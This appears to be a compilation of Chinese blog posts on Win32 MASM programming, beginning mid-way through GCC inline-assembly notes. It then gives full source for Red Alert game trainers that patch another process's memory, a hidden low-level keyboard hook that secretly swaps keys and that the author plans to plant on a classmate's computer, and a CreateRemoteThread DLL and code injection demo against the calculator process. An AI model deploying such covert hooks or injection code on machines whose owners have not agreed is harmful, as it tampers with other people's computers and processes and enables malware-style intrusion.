的 寄存器.如果我们要重用r或q请求的寄存器的话,就可以使用它们.
5.如果强制使用固定的寄存器的话,如不用%1,而用ebx,则
asm(leal (%%ebx,%%ebx,4),%0
: =r (x)
: 0 (x) );
注意要使用两个%,因为一个%的语法已经 被%n用掉了.
下面可以来解释letter 4854-4855的问题:
1、变量加下划线和双下划线有什么特殊含义吗?加下划 线是指全局变量,但我的gcc中加不加都无所谓.
2、以上定义用如下调用时展开会是什么意思?
#define _syscall1(type,name,type1,arg1)
type name(type1 arg1)
{
long __res;
/* __res应该是一个全局变量 */
__asm__ volatile (int $0×80
/* volatile 的意思是不允许优化,使编译器严格按照你的汇编代码汇编*/
: =a (__res)
/* 产生代码 movl %eax, __res */
: 0 (__nr_##name),b ((long)(arg1)));
/* 如果我没记错的话,这里##指的是两次宏展开.
即用实际的系统调用名字代替name,然后再把__nr_…展开.
接着把展开的常 数放入eax,把arg1放入ebx */
if (__res >= 0)
return (type) __res;
errno = -__res;
return -1;
}
由于红警2中保存金钱的位置每次载入都不一样,所以不能简单的 WriteProcessMemory 就行了。不过办法当然还是有的。查到一次的地址,然后在地址处下个断点,动态跟踪一下就会发现,代码中有一处 push eax 是用来给出保存金钱的地址的。在该处下断点,每次 eax 的值加 2E8h 刚好是保存金钱的地址。嘿嘿,那只要在这里做一些手脚不就搞定了?在进程的空间中找一处空闲的地方,例如地址A和其不远出的B,然后把push eax 的地方改成 jmp B 在B那里写上 mov A, eax 这样就把这个值保存在了一个固定的地方,然后再在B后面写上被破坏的几条指令,并最后jmp回原来的地址。OK了,现在我们只要去A处取地址,加上 2E8h 就能得到金钱的地址了,就又能改钱了,哈哈!至于改别的,我没有试,大概方法都差不多。
下面是代码,只适用于winxp,并且是 针对尤里的复仇的。每次按下alt+1加50000的money。
.386
.model flat, stdcall
option casemap: none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include \masm32\include\shell32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\shell32.lib
WinMain proto
WORD,
WORD,
WORD,
WORD
WM_SHELLNOTIFY equ WM_USER + 5
IDI_TRAY equ 0
YuriIcon equ 10000
HotKeyID equ 0ABC0h
.const
AppMutex db ‘FixYuriMutex’, 0
AlreadyRun db ‘FixYuri is already running!’, 0
AppName db ‘FixYuri’, 0
ClassName db ‘FixYuriClass’, 0
TargetTitle db ‘Yuri’’s Revenge’, 0
HintText db ‘press Alt+1 add 50000$’, 0
YuriNotFound db ‘Yuri’’s Revenge is not running!’, 0
Addr1 dd 004A2593h ; push eax 处的地址,别的机器上可能不同
Addr2 dd 00B78F10h ; 保存代码的位置
Addr3 dd 00B78F00h ; 保存地址的位置
Data1 db 0E9h, 078h, 069h, 06Dh, 000h, 090h ; jmp 00B78F10h 的机器代码
Data2 db 0A3h, 000h, 08Fh, 0B7h, 000h, 050h, 0FFh, 051h, 018h, 033h, 0D2h, 0E9h, 079h, 096h, 092h, 0FFh ; mov [00B78F10h], eax; push eax; call dword ptr ds:[ecx+18]; xor edx, edx; jmp 004A2599h 的机器代码
.data
pid dd 0
hd dd 0
.data?
inst HINSTANCE ?
cmd LPSTR ?
note NOTIFYICONDATA <?>
ico dd ?
tmp dd ?
Addr4 dd ?
dwFlag dd ?
.code
start:
invoke CreateMutex, NULL, FALSE, addr AppMutex
invoke GetLastError
.IF eax == ERROR_ALREADY_EXISTS
invoke MessageBox, NULL, addr AlreadyRun, addr AppName, MB_OK or MB_ICONWARNING
invoke ExitProcess, 0
.ENDIF
invoke GetModuleHandle, NULL
mov inst, eax
invoke GetCommandLine
mov cmd, eax
invoke WinMain, inst, NULL, cmd, SW_MINIMIZE
invoke ExitProcess, eax
WinMain proc hInst:HINSTANCE, hPrevInst:HINSTANCE, CmdLine:LPSTR, CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize, SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra, NULL
mov wc.cbWndExtra, NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground, COLOR_WINDOW + 1
mov wc.lpszMenuName, NULL
mov wc.lpszClassName, OFFSET ClassName
invoke LoadIcon, hInst, YuriIcon
mov wc.hIcon, eax
mov wc.hIconSm, eax
mov ico, eax
invoke LoadCursor, NULL, IDC_ARROW
mov wc.hCursor, eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx, NULL,\
addr ClassName,\
addr AppName,\
WS_OVERLAPPEDWINDOW and not WS_MAXIMIZEBOX and not WS_SIZEBOX,\
CW_USEDEFAULT,\
CW_USEDEFAULT,\
200,\
50,\
NULL,\
NULL,\
hInst,\
NULL
mov hwnd, eax
invoke ShowWindow, hwnd, CmdShow
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, addr msg, NULL, 0, 0
.BREAK .IF (!eax)
invoke TranslateMessage, addr msg
invoke DispatchMessage, addr msg
.ENDW
mov eax, msg.wParam
ret
WinMain endp
WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL hdc: HDC
LOCAL ps: PAINTSTRUCT
LOCAL rect: RECT
.IF uMsg == WM_CREATE
invoke RegisterHotKey, hWnd, HotKeyID, MOD_ALT, VK_1
.ELSEIF uMsg == WM_PAINT
invoke BeginPaint, hWnd, addr ps
mov hdc, eax
invoke GetClientRect, hWnd, addr rect
invoke DrawText, hdc, addr HintText, -1, addr rect,\
DT_CENTER or DT_VCENTER or DT_SINGLELINE
.ELSEIF uMsg == WM_SIZE
.IF wParam == SIZE_MINIMIZED
mov note.cbSize, SIZEOF NOTIFYICONDATA
push hWnd
pop note.hwnd
mov note.uID, IDI_TRAY
mov note.uFlags, NIF_ICON or NIF_MESSAGE or NIF_TIP
mov note.uCallbackMessage, WM_SHELLNOTIFY
push ico
pop note.hIcon
invoke lstrcpy, addr note.szTip, addr AppName
invoke ShowWindow, hWnd, SW_HIDE
invoke Shell_NotifyIcon, NIM_ADD, addr note
.ENDIF
.ELSEIF uMsg == WM_SHELLNOTIFY
.IF wParam == IDI_TRAY
.IF lParam == WM_LBUTTONDOWN
invoke Shell_NotifyIcon, NIM_DELETE, addr note
invoke ShowWindow, hWnd, SW_RESTORE
invoke SetForegroundWindow, hWnd
.ENDIF
.ENDIF
.ELSEIF uMsg == WM_HOTKEY
.IF wParam == HotKeyID
.IF hd == 0
invoke FindWindow, 0, addr TargetTitle
.IF eax != 0
invoke GetWindowThreadProcessId, eax, addr pid
invoke OpenProcess, PROCESS_ALL_ACCESS, FALSE, pid
mov hd, eax
.ENDIF
.IF hd != 0
invoke WriteProcessMemory, hd, Addr1, addr Data1, SIZEOF Data1, NULL
invoke WriteProcessMemory, hd, Addr2, addr Data2, SIZEOF Data2, NULL
invoke Sleep, 1000
.ELSE
invoke SetForegroundWindow, hWnd
invoke MessageBox, hWnd, addr YuriNotFound, addr AppName, MB_OK or MB_ICONWARNING
.ENDIF
.ELSE
invoke ReadProcessMemory, hd, Addr3, addr tmp, SIZEOF tmp, NULL
.IF eax
push tmp
pop Addr4
add Addr4, 02e8h
invoke ReadProcessMemory, hd, Addr4, addr tmp, SIZEOF tmp, NULL
add tmp, 50000
invoke WriteProcessMemory, hd, Addr4, addr tmp, SIZEOF tmp, NULL
.ELSE
mov hd, 0
.ENDIF
.ENDIF
.ENDIF
.ELSEIF uMsg == WM_DESTROY
invoke UnregisterHotKey, hWnd, HotKeyID
invoke PostQuitMessage, NULL
.ELSE
invoke DefWindowProc, hWnd, uMsg, wParam, lParam
ret
.ENDIF
xor eax, eax
ret
WndProc endp
end start
前段时间写的,感觉比较完善了。能锁定金钱,电量和用电量,并能增加建造速度。并可以工作在win98和winxp两种平台上。
.386
.model flat, stdcall
option casemap: none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include \masm32\include\shell32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\shell32.lib
WinMain proto
WORD,
WORD,
WORD,
WORD
KeyProc proto
WORD,
WORD,
WORD
GetOsVersion proto
WM_SHELLNOTIFY equ WM_USER + 5
IDI_TRAY equ 0
RaIcon equ 10000
TimerID equ 1
ButtonID1 equ 1
ButtonID2 equ 2
ButtonID3 equ 3
ButtonID4 equ 4
HotKeyID1 equ 0ABC1h
HotKeyID2 equ 0ABC2h
HotKeyID3 equ 0ABC3h
HotKeyID4 equ 0ABC4h
.const
AppMutex db ‘racheatmutex’, 0
AlreadyRun db ‘RA cheater is already running!’, 0
AppName db ‘RA cheater’, 0
ClassName db ‘racheaterclass’, 0
TargetTitle db ‘Red Alert’, 0
ButtonClass db ‘Button’, 0
Button1 db ‘lock money(Alt+1)’, 0
Button2 db ‘lock used power(Alt+2)’, 0
Button3 db ‘lock power(Alt+3)’, 0
Button4 db ’speed up(Alt+4)’, 0
Value1 dd 30000
Value2 dd 0
Value3 dd 500
Value4 dd 0F0h
.data
flag1 db 0
flag2 db 0
flag3 db 0
pid dd 0
hd dd 0
.data?
inst HINSTANCE ?
cmd LPSTR ?
note NOTIFYICONDATA <?>
ico dd ?
OsVer dd ?
hHook dd ?
Addr1 dd ?
Addr2 dd ?
Addr3 dd ?
Addr4 dd ?
hwnd HWND ?
.code
start:
invoke CreateMutex, NULL, FALSE, addr AppMutex
invoke GetLastError
.IF eax == ERROR_ALREADY_EXISTS
invoke MessageBox, NULL, addr AlreadyRun, addr AppName, MB_OK or MB_ICONWARNING
invoke ExitProcess, 0
.ENDIF
invoke GetOsVersion ; 判断系统类型
mov OsVer, eax
.IF OsVer == VER_PLATFORM_WIN32_NT ; 根据系统类型赋不同的地址,也许在你的机器上和我的不一样,FPE搜一下就知道了。
mov Addr1, 0A431D17h
mov Addr2, 0A431D67h
mov Addr3, 0A431D63h
mov Addr4, 0A431D53h
.ELSE
mov Addr1, 01C31D17h
mov Addr2, 01C31D67h
mov Addr3, 01C31D63h
mov Addr4, 0A431D53h
.ENDIF
invoke GetModuleHandle, NULL
mov inst, eax
invoke GetCommandLine
mov cmd, eax
invoke WinMain, inst, NULL, cmd, SW_MINIMIZE
invoke ExitProcess, eax
WinMain proc hInst:HINSTANCE, hPrevInst:HINSTANCE, CmdLine:LPSTR, CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
mov wc.cbSize, SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra, NULL
mov wc.cbWndExtra, NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground, COLOR_WINDOW
mov wc.lpszMenuName, NULL
mov wc.lpszClassName, OFFSET ClassName
invoke LoadIcon, hInst, RaIcon
mov wc.hIcon, eax
mov wc.hIconSm, eax
mov ico, eax
invoke LoadCursor, NULL, IDC_ARROW
mov wc.hCursor, eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx, NULL,\
addr ClassName,\
addr AppName,\
WS_OVERLAPPEDWINDOW and not WS_MAXIMIZEBOX and not WS_SIZEBOX,\
CW_USEDEFAULT,\
CW_USEDEFAULT,\
200,\
225,\
NULL,\
NULL,\
hInst,\
NULL
mov hwnd, eax
invoke ShowWindow, hwnd, CmdShow
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, addr msg, NULL, 0, 0
.BREAK .IF (!eax)
invoke TranslateMessage, addr msg
invoke DispatchMessage, addr msg
.ENDW
mov eax, msg.wParam
ret
WinMain endp
WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg == WM_CREATE
invoke SetTimer, hWnd, TimerID, 500, NULL
.IF OsVer == VER_PLATFORM_WIN32_NT
invoke RegisterHotKey, hWnd, HotKeyID1, MOD_ALT, VK_1
invoke RegisterHotKey, hWnd, HotKeyID2, MOD_ALT, VK_2
invoke RegisterHotKey, hWnd, HotKeyID3, MOD_ALT, VK_3
invoke RegisterHotKey, hWnd, HotKeyID4, MOD_ALT, VK_4
.ELSE ; 由于win98下注册的快捷键进游戏后就失效了,只好用钩子实现快捷键。
invoke SetWindowsHookEx, WH_JOURNALRECORD, addr KeyProc, inst, NULL
mov hHook, eax
.ENDIF
invoke CreateWindowEx, NULL, addr ButtonClass, addr Button1,\
BS_PUSHBUTTON or WS_VISIBLE or WS_CHILD, 0, 0, 195, 50,\
hWnd, ButtonID1, inst, NULL
invoke CreateWindowEx, NULL, addr ButtonClass, addr Button2,\
BS_PUSHBUTTON or WS_VISIBLE or WS_CHILD, 0, 50, 195, 50,\
hWnd, ButtonID2, inst, NULL
invoke CreateWindowEx, NULL, addr ButtonClass, addr Button3,\
BS_PUSHBUTTON or WS_VISIBLE or WS_CHILD, 0, 100, 195, 50,\
hWnd, ButtonID3, inst, NULL
invoke CreateWindowEx, NULL, addr ButtonClass, addr Button4,\
BS_PUSHBUTTON or WS_VISIBLE or WS_CHILD, 0, 150, 195, 50,\
hWnd, ButtonID4, inst, NULL
.ELSEIF uMsg == WM_SIZE
.IF wParam == SIZE_MINIMIZED
mov note.cbSize, SIZEOF NOTIFYICONDATA
push hWnd
pop note.hwnd
mov note.uID, IDI_TRAY
mov note.uFlags, NIF_ICON or NIF_MESSAGE or NIF_TIP
mov note.uCallbackMessage, WM_SHELLNOTIFY
push ico
pop note.hIcon
invoke lstrcpy, addr note.szTip, addr AppName
invoke ShowWindow, hWnd, SW_HIDE
invoke Shell_NotifyIcon, NIM_ADD, addr note
.ENDIF
.ELSEIF uMsg == WM_SHELLNOTIFY
.IF wParam == IDI_TRAY
.IF lParam == WM_LBUTTONDOWN
invoke Shell_NotifyIcon, NIM_DELETE, addr note
invoke ShowWindow, hWnd, SW_RESTORE
invoke SetForegroundWindow, hWnd
.ENDIF
.ENDIF
.ELSEIF uMsg == WM_TIMER
.IF hd == 0
invoke FindWindow, 0, addr TargetTitle
.IF eax != 0
invoke GetWindowThreadProcessId, eax, addr pid
invoke OpenProcess, PROCESS_ALL_ACCESS, FALSE, pid
mov hd, eax
.ENDIF
.ENDIF
.IF flag1 == 1
invoke WriteProcessMemory, hd, Addr1, addr Value1, SIZEOF Value1, NULL
.IF eax == 0
mov hd, 0
.ENDIF
.ENDIF
.IF flag2 == 1
invoke WriteProcessMemory, hd, Addr2, addr Value2, SIZEOF Value2, NULL
.IF !eax
mov hd, 0
.ENDIF
.ENDIF
.IF flag3 == 1
invoke WriteProcessMemory, hd, Addr3, addr Value3, SIZEOF Value3, NULL
.IF !eax
mov hd, 0
.ENDIF
.ENDIF
.ELSEIF uMsg == WM_COMMAND
mov eax, wParam
.IF ax == ButtonID1
xor flag1, 1
.ELSEIF ax == ButtonID2
xor flag2, 1
.ELSEIF ax == ButtonID3
xor flag3, 1
.ELSEIF ax == ButtonID4
.IF hd
mov edx, Addr4
invoke WriteProcessMemory, hd, edx, addr Value4, SIZEOF Value4, NULL
add edx, 4
invoke WriteProcessMemory, hd, edx, addr Value4, SIZEOF Value4, NULL
add edx, 4
invoke WriteProcessMemory, hd, edx, addr Value4, SIZEOF Value4, NULL
add edx, 4
invoke WriteProcessMemory, hd, edx, addr Value4, SIZEOF Value4, NULL
.ENDIF
.ENDIF
.ELSEIF uMsg == WM_HOTKEY
.IF wParam == HotKeyID1
xor flag1, 1
.ELSEIF wParam == HotKeyID2
xor flag2, 1
.ELSEIF wParam == HotKeyID3
xor flag3, 1
.ELSEIF
.IF hd
mov edx, Addr4
invoke WriteProcessMemory, hd, edx, addr Value4, SIZEOF Value4, NULL
add edx, 4
invoke WriteProcessMemory, hd, edx, addr Value4, SIZEOF Value4, NULL
add edx, 4
invoke WriteProcessMemory, hd, edx, addr Value4, SIZEOF Value4, NULL
add edx, 4
invoke WriteProcessMemory, hd, edx, addr Value4, SIZEOF Value4, NULL
.ENDIF
.ENDIF
.ELSEIF uMsg == WM_SYSKEYDOWN
.IF lParam == VK_1
xor flag1, 1
.ELSEIF lParam == VK_2
xor flag2, 1
.ELSEIF lParam == VK_3
xor flag3, 1
.ENDIF
.ELSEIF uMsg == WM_DESTROY
.IF OsVer == VER_PLATFORM_WIN32_NT
invoke UnregisterHotKey, hWnd, HotKeyID1
invoke UnregisterHotKey, hWnd, HotKeyID2
invoke UnregisterHotKey, hWnd, HotKeyID3
.ELSE
invoke UnhookWindowsHookEx, hHook
.ENDIF
invoke PostQuitMessage, NULL
.ELSE
invoke DefWindowProc, hWnd, uMsg, wParam, lParam
ret
.ENDIF
xor eax, eax
ret
WndProc endp
KeyProc proc nCode: DWORD, wParam: WPARAM, lParam: LPARAM
.IF nCode == HC_ACTION
mov edx, lParam
assume edx: PTR EVENTMSG
.IF [edx].message == WM_SYSKEYDOWN
mov eax, [edx].paramL
.IF al == VK_1
invoke PostMessage, hwnd, WM_SYSKEYDOWN, NULL, VK_1
.ELSEIF al == VK_2
invoke PostMessage, hwnd, WM_SYSKEYDOWN, NULL, VK_2
.ELSEIF al == VK_3
invoke PostMessage, hwnd, WM_SYSKEYDOWN, NULL, VK_3
.ENDIF
.ENDIF
.ENDIF
invoke CallNextHookEx, hHook, nCode, wParam, lParam
ret
KeyProc endp
GetOsVersion proc
LOCAL ovi:OSVERSIONINFO
mov ovi.dwOSVersionInfoSize, SIZEOF OSVERSIONINFO
invoke GetVersionEx, addr ovi
mov eax, ovi.dwPlatformId
ret
GetOsVersion endp
end start
由 于红警98中金钱等信息的地址在每次载入时都是固定的,所以这个程序可以得逞,要是换红警2,就得用另一种方法了。
看win32汇编看到钩子部分,突发奇想,打算写一个改变键盘布局的整人程序
查 了查资料,发现底层键盘钩子(WH_KEYBOARD_LL)可以实现。首先是安装和卸载钩子:
InstallHook proc hIns: DWORD
invoke SetWindowsHookEx, WH_KEYBOARD_LL, addr KeyProc, hIns, NULL
mov hHook, eax
ret
InstallHook endp
UninstallHook proc
invoke UnhookWindowsHookEx, hHook
ret
UninstallHook endp
这些与别的钩子一样,在回调函数 KeyProc 中 nCode 值为 HC_ACTION,wParam 为按键消息(WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, WM_SYSKEYUP),lParam 为指向 KBDLLHOOKSTRUCT 结构的指针。
首先,我想捕获按键x,为了知道是否捕获到了,我让程序在有x按下时弹出一个对话框。
KeyProc proc nCode: DWORD, wParam: WPARAM, lParam: LPARAM
.IF nCode == HC_ACTION
.IF (wParam == WM_KEYDOWN)
mov edx, lParam
assume edx: PTR KBDLLHOOKSTRUCT
.IF ([edx].vkCode == VK_X)
invoke MessageBox, NULL, addr szMsg, addr szTit, MB_OK
.ENDIF
.ENDIF
.ENDIF
invoke CallNextHookEx, hHook, nCode, wParam, lParam
ret
KeyProc endp
程序很简单,当有x按下时弹出一个对话框,按一下试试,OK!看来我们已经捕获到按键了。
那现在要怎样才能把x按 键改成其它的按键呢?先试试其他程序是不是在我们的钩子函数之后处理按键消息:把 KeyProc 中的 invoke 一句改成 ret。运行程序,按x,呵呵,x键被屏蔽了,看来钩子函数处理按键消息的优先级是很高的。那把这个消息改成别的按键传下去就能起到改变按键的作用了吧? 试试看喽!
KeyProc proc nCode: DWORD, wParam: WPARAM, lParam: LPARAM
.IF nCode == HC_ACTION
.IF (wParam == WM_KEYDOWN)
mov edx, lParam
assume edx: PTR KBDLLHOOKSTRUCT
.IF ([edx].vkCode == VK_X)
mov [edx].vkCode, VK_Y
.ENDIF
.ENDIF
.ENDIF
invoke CallNextHookEx, hHook, nCode, wParam, lParam
ret
KeyProc endp
我把改 vkCode 改成了 VK_Y,现在其它程序得到的消息应该是按键y了吧?运行,按x,奇怪,还是x??为什么啊?难道 scanCode 也要改??查了一下 VK_Y 的 scanCode ,也改了,还是不行。难道我们的程序没有修改那段内存的权限?提升程序的权限?太麻烦了,还是想想别的办法吧!既然现在能够屏蔽掉一个按键了,那我们不是 可以再用 keybd_event 模拟按键吗?对,就这么干!
我们现在屏蔽x和y按键,然后在x按键时模拟y按键,在y按键时模拟x按 键,这样就调换了x和y的键盘位置。
KeyProc proc nCode: DWORD, wParam: WPARAM, lParam: LPARAM
.IF nCode == HC_ACTION
.IF (wParam == WM_KEYDOWN)
mov edx, lParam
assume edx: PTR KBDLLHOOKSTRUCT
.IF ([edx].vkCode == VK_X)
invoke keybd_event, VK_Y, 0, 0, 0
ret
.ELSEIF ([edx].vkCode == VK_Y)
invoke keybd_event, VK_X, 0, 0, 0
ret
.ENDIF
.ENDIF
.ENDIF
invoke CallNextHookEx, hHook, nCode, wParam, lParam
ret
KeyProc endp
这回应该没问题了吧?运行一下试试!哦,NO,又出问题了,按下x 或y后,x和y不停的交替出现,消息循环了?是啊,连用 keybd_event 模拟的按键都被底层键盘钩子捕获了!怎么办呢?其实多判断一下 scanCode 就好了,模拟的按键和实际的按键 scanCode 是不同的。好了,现在问题完全解决了!在加上判断 WM_SYSKEYDOWN 的判断,这样就换的更彻底了。下面是完整的程序:
.386
.model flat, stdcall
option casemap: none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
WinMain proto
WORD,
WORD,
WORD,
WORD
InstallHook proto
WORD
UninstallHook proto
HotKeyID1 equ 1
HotKeyID2 equ 2
KBDLLHOOKSTRUCT STRUCT
vkCode DWORD ?
scanCode DWORD ?
flags DWORD ?
time DWORD ?
dwExtraInfo ULONG ?
KBDLLHOOKSTRUCT ENDS
.const
ClassName db ‘HookxClass’, 0
AppName db ‘Hookx’, 0
Running db ‘i am running…’, 0
.data?
inst dd ?
hHook dd ?
cmd dd ?
.code
start:
invoke GetModuleHandle, NULL
mov inst, eax
invoke GetCommandLine
mov cmd, eax
invoke WinMain, inst, NULL, cmd, SW_HIDE ;整人的程序,当然不能把窗口显示出来了!
invoke ExitProcess,eax
WinMain proc hInst:HINSTANCE, hPrevInst:HINSTANCE, CmdLine:LPSTR, CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize, SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra, NULL
mov wc.cbWndExtra, NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground, COLOR_WINDOW + 1
mov wc.lpszMenuName, NULL
mov wc.lpszClassName, OFFSET ClassName
invoke LoadIcon, NULL, IDI_APPLICATION
mov wc.hIcon, eax
mov wc.hIconSm, eax
invoke LoadCursor, NULL, IDC_ARROW
mov wc.hCursor, eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx, NULL,\
addr ClassName,\
addr AppName,\
WS_OVERLAPPEDWINDOW,\
CW_USEDEFAULT,\
CW_USEDEFAULT,\
CW_USEDEFAULT,\
CW_USEDEFAULT,\
NULL,\
NULL,\
hInst,\
NULL
mov hwnd, eax
invoke ShowWindow, hwnd, CmdShow
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, addr msg, NULL, 0, 0
.BREAK .IF (!eax)
invoke TranslateMessage, addr msg
invoke DispatchMessage, addr msg
.ENDW
mov eax, msg.wParam
ret
WinMain endp
WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg == WM_CREATE
invoke InstallHook, inst
invoke RegisterHotKey, hWnd, HotKeyID1, MOD_ALT, VK_8 ;注册两个快捷键用来查看程序时候在运行和关闭程序
invoke RegisterHotKey, hWnd, HotKeyID2, MOD_ALT, VK_9
.ELSEIF uMsg == WM_HOTKEY
.IF wParam == HotKeyID1
invoke MessageBox, NULL, addr Running, addr AppName, MB_OK
.ELSEIF wParam == HotKeyID2
invoke UninstallHook
invoke PostMessage, hWnd, WM_DESTROY, NULL, NULL
.ENDIF
.ELSEIF uMsg == WM_DESTROY
invoke UnregisterHotKey, hWnd, HotKeyID2
invoke UnregisterHotKey, hWnd, HotKeyID1
invoke UninstallHook
invoke PostQuitMessage, NULL
.ELSE
invoke DefWindowProc, hWnd, uMsg, wParam, lParam
ret
.ENDIF
xor eax, eax
ret
WndProc endp
KeyProc proc nCode: DWORD, wParam: WPARAM, lParam: LPARAM
.IF nCode == HC_ACTION
.IF (wParam == WM_KEYDOWN) || (wParam == WM_SYSKEYDOWN)
mov edx, lParam
assume edx: PTR KBDLLHOOKSTRUCT
.IF ([edx].vkCode == VK_X) && ([edx].scanCode != 0)
invoke keybd_event, VK_Y, 0, 0, 0
ret
.ELSEIF ([edx].vkCode == VK_Y) && ([edx].scanCode != 0)
invoke keybd_event, VK_X, 0, 0, 0
ret
.ENDIF
.ENDIF
.ENDIF
invoke CallNextHookEx, hHook, nCode, wParam, lParam
ret
KeyProc endp
InstallHook proc hIns: DWORD
invoke SetWindowsHookEx, WH_KEYBOARD_LL, addr KeyProc, hIns, NULL
mov hHook, eax
ret
InstallHook endp
UninstallHook proc
invoke UnhookWindowsHookEx, hHook
ret
UninstallHook endp
end start
现在我可以把这个程序偷偷的放到同学的机器上去运行了
, 咦?我的键盘怎么了?
程序说明:找到计算器进程把c盘下的modll.dll注入.
DLL编绎参数: ml /c /coff modll.asm
link /dll /subsystem:windows /def:modll.def modll.obj
def 文件:只有一行(无导出函数哈):LIBRARY modll.dll
dll的作用:显示被注入进程的PID号.
masm6.11+win2k pro调试通过.
程序下载:http://www.cnwill.com/soft/czy/modll.dll
http://www.cnwill.com/soft/czy/mo.exe
如 果是代码注入:作用弹一个msgbox出来
———————————rthread.asm——————
.386
.model flat,stdcall
option casemap:none
include ../include/user32.inc
includelib ../lib/user32.lib
include ../include/kernel32.inc
includelib ../lib/kernel32.lib
include ../include/windows.inc
.data
hello db ‘2K下建远程线程’,0
tit db ‘计算器’,0
szFormat db ‘PID是:%d’,0
szBuffer dd 20 dup(0),0
pid dd 0
hProcess dd 0
hThread dd 0
pCodeRemote dd 0
dllname db ‘c:\modll.dll’,0
.const
szmsg db ‘MessageBoxA’,0
userdll db ‘User32.dll’,0
szloadlib db ‘LoadLibraryA’,0 ;注意和LoadLibraryW的区别哟
kerdll db ‘kernel32.dll’,0
.code
codebegin:
dispdata db “iam remote thread”,0
szTit db “nsfocus.czy”,0
datalen =$-codebegin
Rproc proc msgbox ;MessageBoxA的地址为参数
CALL @F ;push esi
@@:
POP EBX
SUB EBX,OFFSET @B
LEA ECX,[EBX+dispdata]
LEA EDX,[EBX+szTit]
push 1
push edx
push ecx
push 0
call msgbox
ret ;重要
Rproc endp
codelen =$-codebegin ;代码长度13字节
start:
invoke FindWindow,0,offset tit ;返回计算器窗口句柄
invoke GetWindowThreadProcessId,eax,offset pid ;计算机器程序的进程PID号
;invoke wsprintf,offset szBuffer,offset szFormat,pid ;把PID用十进制显示
invoke OpenProcess,PROCESS_ALL_ACCESS,FALSE,pid ;打开进程,得到进程句柄
mov hProcess,eax ;保存进程句柄
;——————————————- 下面是把程序代码注入
;invoke VirtualAllocEx,hProcess,0, codelen, MEM_COMMIT, PAGE_EXECUTE_READWRITE
;mov pCodeRemote,eax
;invoke WriteProcessMemory,hProcess,pCodeRemote,offset codebegin,codelen,NULL
;mov esi,pCodeRemote
;add esi,datalen
;push esi
;invoke LoadLibrary,offset userdll
;invoke GetProcAddress,eax,offset szmsg
;pop esi
;invoke CreateRemoteThread,hProcess,0,0,esi,eax,0,0
;——————————————– 下面是DLL注入
invoke VirtualAllocEx,hProcess,0, sizeof dllname, MEM_COMMIT, PAGE_EXECUTE_READWRITE
mov pCodeRemote,eax
invoke WriteProcessMemory,hProcess,pCodeRemote,offset dllname,sizeof dllname,NULL
invoke LoadLibrary,offset kerdll
invoke GetProcAddress,eax,offset szloadlib
invoke CreateRemoteThread,hProcess,0,0,
eax, ;这个参数在代码注入中为代码起始地址,现在成了LoadLibraryA的起始地址了
pCodeRemote, ;要加载的DLL的名字
0,0
;——————————————– 没有用FreeLibrary所以只能加载一次
mov hThread,eax ; 返回线程句柄
.if hThread
invoke WaitForSingleObject,hThread, INFINITE ;等待线程结束
invoke CloseHandle,hThread ;关闭线程句柄
.endif
invoke VirtualFreeEx,hProcess,pCodeRemote,codelen,MEM_RELEASE ;释放空间
invoke CloseHandle,hProcess ;关闭进程句柄
;invoke MessageBoxA,0,offset szBuffer,offset szBuffer,1
invoke ExitProcess,0
end start
———————————-end———————
———————-modll.asm——————–
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
.data
pid dd 0
szFormat db ‘PID是:%d’,0
szBuffer dd 20 dup(0),0
tit db ‘显示被注入进程的PID’,0
.code
DllEntry proc hInstDLL:HINSTANCE, reason:DWORD, reserved1:DWORD
.if reason==DLL_PROCESS_ATTACH ;dll加载时
invoke GetCurrentProcessId
mov pid,eax
invoke wsprintf,offset szBuffer,offset szFormat,pid
invoke MessageBoxA,0,offset szBuffer,offset tit,0
.endif
mov eax,TRUE
ret
DllEntry Endp
End DllEntry
———————-end————————–